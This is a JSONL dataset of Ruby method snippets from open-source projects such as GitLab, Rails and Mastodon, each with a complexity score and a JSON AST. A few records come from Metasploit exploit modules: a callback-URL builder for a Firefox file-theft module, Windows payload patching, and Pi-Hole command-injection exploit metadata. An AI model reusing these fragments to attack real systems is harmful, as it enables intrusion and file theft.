'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]},\"login\"]}]},{\"type\":\"str\",\"children\":[\"' could not be created: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"message\"]}]}]}]}]}]}]}","id":"6ee4b29e-9930-4398-9f2f-347070d798da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/o_auth/provider.rb","start_line":38,"raw_source":"def self.enabled?(name)\n          return true if name == 'database'\n          return true if self.ldap_provider?(name) && providers.include?(name.to_sym)\n\n          Gitlab::Auth.omniauth_enabled? && providers.include?(name.to_sym)\n        end","complexity_score":14.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"database\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ldap_provider?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"providers\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"omniauth_enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"providers\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]}]}]}]}","id":"6d834ab1-08a1-4cec-8327-c9c184e327d5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/order_by_column_data.rb","start_line":21,"raw_source":"def arel_column\n            column.column_expression\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"arel_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column\"]},\"column_expression\"]}]}","id":"6f0edbed-204f-4532-947a-8eaebd059533"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/node_matcher_directive.rb","start_line":104,"raw_source":"def process_directive(node, actual_name, directive)\n          return unless (offense_type = directive_offense_type(directive, actual_name))\n\n          register_offense(offense_type, node, directive, actual_name)\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_directive\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"actual_name\"]},{\"type\":\"arg\",\"children\":[\"directive\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offense_type\",{\"type\":\"send\",\"children\":[null,\"directive_offense_type\",{\"type\":\"lvar\",\"children\":[\"directive\"]},{\"type\":\"lvar\",\"children\":[\"actual_name\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"lvar\",\"children\":[\"offense_type\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"directive\"]},{\"type\":\"lvar\",\"children\":[\"actual_name\"]}]}]}]}","id":"52e10361-0e25-41ce-a857-6c099206d9ab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb","start_line":94,"raw_source":"def backend_url\n    proto = (datastore['SSL'] ? 'https' : 'http')\n    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']\n    port_str = (datastore['SRVPORT'].to_i == 80) ? '' : \":#{datastore['SRVPORT']}\"\n    resource = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource\n\n    \"#{proto}://#{my_host}#{port_str}#{resource}/catch\"\n  end","complexity_score":37.53,"ast_json":"{\"type\":\"def\",\"children\":[\"backend_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"proto\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"my_host\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port_str\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[80]}]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resource\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_resource\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_resource\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_resource\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proto\"]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port_str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]}]},{\"type\":\"str\",\"children\":[\"/catch\"]}]}]}]}","id":"04e50b9a-e77d-441f-b643-52487cd82cb8"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20240909134233_add_role_names_to_billboards.rb","start_line":2,"raw_source":"def change\n    add_column :display_ads, :exclude_role_names, :string, array: true, default: []\n    add_column :display_ads, :target_role_names, :string, array: true, default: []\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"display_ads\"]},{\"type\":\"sym\",\"children\":[\"exclude_role_names\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"display_ads\"]},{\"type\":\"sym\",\"children\":[\"target_role_names\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}","id":"f9ff80ea-559e-4279-abe7-f4cf8769ca3c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/generate_perf_testdata.rb","start_line":234,"raw_source":"def create_a_label_api_req(project_path_or_id, name, color)\n        call_api(expected_response_code: 201) do\n          post Runtime::API::Request.new(@api_client, \"/projects/#{project_path_or_id}/labels\").url, \"name=#{name}&color=#{color}\"\n        end\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_a_label_api_req\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_path_or_id\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"color\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_api\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_response_code\"]},{\"type\":\"int\",\"children\":[201]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Request\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@api_client\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_path_or_id\"]}]},{\"type\":\"str\",\"children\":[\"/labels\"]}]}]},\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"name=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"&color=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color\"]}]}]}]}]}]}","id":"d785c552-d71b-4ab4-ad30-2487e0b6914d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-housekeeper/lib/gitlab/housekeeper/runner.rb","start_line":204,"raw_source":"def has_closed_merge_request?(branch_name)\n        gitlab_client.closed_merge_request_exists?(\n          source_project_id: housekeeper_fork_project_id,\n          source_branch: branch_name,\n          target_branch: @target_branch,\n          target_project_id: housekeeper_target_project_id\n        )\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_closed_merge_request?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"branch_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab_client\"]},\"closed_merge_request_exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_project_id\"]},{\"type\":\"send\",\"children\":[null,\"housekeeper_fork_project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_branch\"]},{\"type\":\"lvar\",\"children\":[\"branch_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_branch\"]},{\"type\":\"ivar\",\"children\":[\"@target_branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_project_id\"]},{\"type\":\"send\",\"children\":[null,\"housekeeper_target_project_id\"]}]}]}]}]}","id":"42e3de6f-6e3a-40fa-a7e6-b28058ee29b6"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/continuation_test.rb","start_line":165,"raw_source":"def perform\n      step :delete do |step|\n        loop do\n          break if items.empty?\n          items.shift\n          step.checkpoint!\n        end\n      end\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"step\",{\"type\":\"sym\",\"children\":[\"delete\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"step\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"items\"]},\"empty?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"items\"]},\"shift\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"step\"]},\"checkpoint!\"]}]}]}]}]}","id":"efbd08a0-526b-4313-96c5-8cd1bd6968e3"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/site_texts_controller.rb","start_line":274,"raw_source":"def overridden_keys(locale)\n    TranslationOverride.where(locale: locale).pluck(:translation_key)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"overridden_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TranslationOverride\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"translation_key\"]}]}]}","id":"fda0aa78-c7ae-40b7-8610-2eea09152c56"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows.rb","start_line":82,"raw_source":"def replace_var(raw, name, offset, pack)\n    if (name == 'EXITFUNC')\n      method = datastore[name]\n      method = 'thread' if (!method or @@exit_types.include?(method) == false)\n\n      raw[offset, 4] = [ @@exit_types[method] ].pack(pack || 'V')\n\n      return true\n    end\n\n    return false\n  end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_var\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"offset\"]},{\"type\":\"arg\",\"children\":[\"pack\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"EXITFUNC\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@exit_types\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"str\",\"children\":[\"thread\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@exit_types\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"method\"]}]}]},\"pack\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pack\"]},{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}","id":"301a186d-5249-4101-8207-14c20f3462cb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/http/pihole_whitelist_exec.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Pi-Hole Whitelist OS Command Execution',\n        'Description' => %q{\n          This exploits a command execution vulnerability in Pi-Hole <= 3.3.\n          When adding a new domain to the whitelist, it is possible to chain\n          a command to the domain that is run on the OS.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'h00die', # msf module\n          'Denis Andzakovic' # original PoC, discovery\n        ],\n        'References' => [\n          ['CVE', '2025-34087'],\n          ['URL', 'https://pulsesecurity.co.nz/advisories/pihole-v3.3-vulns']\n        ],\n        'Platform' => ['linux'],\n        'Privileged' => false,\n        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DisclosureDate' => '2018-04-15',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [ARTIFACTS_ON_DISK],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n    register_options(\n      [\n        Opt::RPORT(80),\n        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])\n      ]\n    )\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Pi-Hole Whitelist OS Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploits a command execution vulnerability in Pi-Hole <= 3.3.\\n\"]},{\"type\":\"str\",\"children\":[\"          When adding a new domain to the whitelist, it is possible to chain\\n\"]},{\"type\":\"str\",\"children\":[\"          a command to the domain that is run on the OS.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]},{\"type\":\"str\",\"children\":[\"Denis Andzakovic\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2025-34087\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://pulsesecurity.co.nz/advisories/pihole-v3.3-vulns\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Target\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2018-04-15\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI of the Pi-Hole Website\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"58f1f81d-62e4-45a9-85d2-a9f74668e469"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/validators/vote_validator.rb","start_line":42,"raw_source":"def already_voted_on_non_multiple_poll?(vote)\n    if vote.persisted?\n      account_votes_on_same_poll(vote).where.not(poll_votes: { id: vote }).exists?\n    else\n      account_votes_on_same_poll(vote).exists?\n    end\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"already_voted_on_non_multiple_poll?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vote\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vote\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_votes_on_same_poll\",{\"type\":\"lvar\",\"children\":[\"vote\"]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"poll_votes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"vote\"]}]}]}]}]}]},\"exists?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_votes_on_same_poll\",{\"type\":\"lvar\",\"children\":[\"vote\"]}]},\"exists?\"]}]}]}","id":"9a71da3d-bece-43ad-a83d-fa382ebba04f"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/format_validation_test.rb","start_line":111,"raw_source":"def test_validates_format_of_with_lambda\n    Topic.validates_format_of :content, with: lambda { |topic| topic.title == \"digit\" ? /\\A\\d+\\z/ : /\\A\\S+\\z/ }\n\n    t = Topic.new\n    t.title = \"digit\"\n    t.content = \"Pixies\"\n    assert_predicate t, :invalid?\n\n    t.content = \"1234\"\n    assert_predicate t, :valid?\n  end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_format_of_with_lambda\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_format_of\",{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]},\"==\",{\"type\":\"str\",\"children\":[\"digit\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\d+\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\S+\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"title=\",{\"type\":\"str\",\"children\":[\"digit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"content=\",{\"type\":\"str\",\"children\":[\"Pixies\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"content=\",{\"type\":\"str\",\"children\":[\"1234\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"594e2ce9-aad5-42ae-97aa-3b36252f5dd4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/embedded_ansible/automation_manager/configuration_script_source.rb","start_line":67,"raw_source":"def format_sync_error(error)\n    result = error.message.dup\n    result << \"\\n\\n\"\n    result << error.backtrace.join(\"\\n\")\n    result.mb_chars.limit(ERROR_MAX_SIZE)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"format_sync_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"mb_chars\"]},\"limit\",{\"type\":\"const\",\"children\":[null,\"ERROR_MAX_SIZE\"]}]}]}]}","id":"77c43aaf-e5c1-45cb-a151-e02a138b4092"}
